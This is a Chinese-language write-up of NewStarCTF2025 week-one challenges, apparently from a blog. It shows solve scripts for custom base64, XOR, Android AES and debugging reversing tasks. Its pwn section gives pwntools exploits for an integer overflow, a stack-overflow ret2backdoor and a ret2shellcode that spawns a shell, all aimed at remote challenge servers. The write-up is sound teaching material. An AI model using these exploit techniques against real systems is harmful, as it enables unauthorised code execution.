NewStarCTF2025-WEEK1

Reverse

Strange Base

IDA定位到函数

明显是将我们的输入结果base64加密后和buf2比较

跟进分析base64_encode函数

发现很明显的base64加密特征,直接解密发现失败

大概率是换表base64,跟进上面的table提取出表解密即可

解密

python 复制代码
import base64
import string

str1 = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=" # 密文

string1 = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

flag{Wh4t_a_cra2y_8as3!!!}

X0r

IDA分析主函数代码,发现把我们的输入存储到str中,每三个为一组,每组内按下标分别进行异或

直接对照逻辑逆向就行

python 复制代码
enc="anu`ym7wKLl$P]v3q%D]lHpi"
key=[0x13,0x13,0x51]
enc_list=[0]*len(enc)
flag=""
for i in range(len(enc)):
    enc_list[i]=(ord(enc[i])^key[i%3])
for i in range(len(enc)):
    if i%3==0:
        flag+=chr(enc_list[i]^0x14)
    elif i%3==1:
        flag+=chr(enc_list[i]^0x11)
    else:
        flag+=chr(enc_list[i]^0x45)
print(flag)

flag{y0u_Kn0W_b4s1C_xOr}

Puzzle

IDA分析主函数,发现flag被切分为四个部分,那我们只需要找到四个部分即可

按题目说明依次找出part1 part2 part3 part4即可

查字符串找到part4

下面有个提示second

查交叉引用,得到part2

字符串列表中还存在

看交叉引用,得到part1

还有可疑串

继续查看交叉引用

将数据异或得到part3

拼在一起就行

flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}

EzMyDroid

JADX分析APK文件

找到加密函数和主要加密逻辑

发现加密过程是把我们的输入先进行AES加密,然后BASE64加密,全部都在Java层

所以直接解密base64,再解AES即可

flag{@_g00d_st@r7_f0r_ANDROID}

plzdebugme

IDA分析主函数

发现经过了很多种加密,直接逆向算法的话耗时较大,所以这里选择动调的方式

直接在最后依次加密完成后下断点,动调提取数据即可

触发断点后在flag处提取数据

flag{It3_D3bugG_T11me!_le3_play}

PWN

GNU Debugger

是一个熟悉GDB的题,按照提示走就行

第一关是获取R12中的值

按c后输入R12的值即可来到第二关

第二关是获取内存地址处的数据

获取内存中数据然后厨子转字符串,来到第三关

要求我们下断点,在该地址处下断点

触发断点后一直ni到最后一关

最后一关是修改地址0x7fffffffd7d4处的值为0xdeadbeef

先查看该处的值,然后通过set进行修改,得到最终flag

INTbug

IDA查看func

因为这里的v1为int16,是一个有符号的16位整数,最高位为符号位

所以我们只需要输入32768个1,使得v1溢出为负数即可

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./INTbug")
p=remote("47.94.87.199",34898)
# gdb.attach(p)
# pause()
p.recvline("welcome to NewStarCTF2025!\n")
payload = b'1\n' * 32768
p.sendline(payload)
p.interactive()

pwn's door

IDA查看,发现只是把我们的输入进行比较

满足条件即可获取权限

编写脚本

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./door")
p=remote("39.106.48.123",30317)
p.recvline()
binsh=0x6B6579
p.sendline(str(binsh))
p.interactive()

overflow

查看main

直接跟进try

发现存在栈溢出,覆盖长度为0x100+0x8

编写payload

这里会有EOF,需要一个ret滑一下

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./overflow")
p=remote("39.106.48.123",37508)
p.recvline()
backdoor=0x0401200
ret=0x401016
p.sendline(b"a"*0x108+p64(ret)+p64(backdoor))
p.interactive()

input_function

我们可以发现buf映射到的虚拟地址具有可读可写可执行的权限

也可以用vmmap查看

并且后续会调用buf,典型的ret2shellcode,编写EXP

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./input_function")
p=remote("39.106.48.123",36843)
p.recvline("please input a function(after compile)")
# gdb.attach(p)
# pause()
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
相关推荐
大方子16 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha17 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络18 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd20 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用2 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云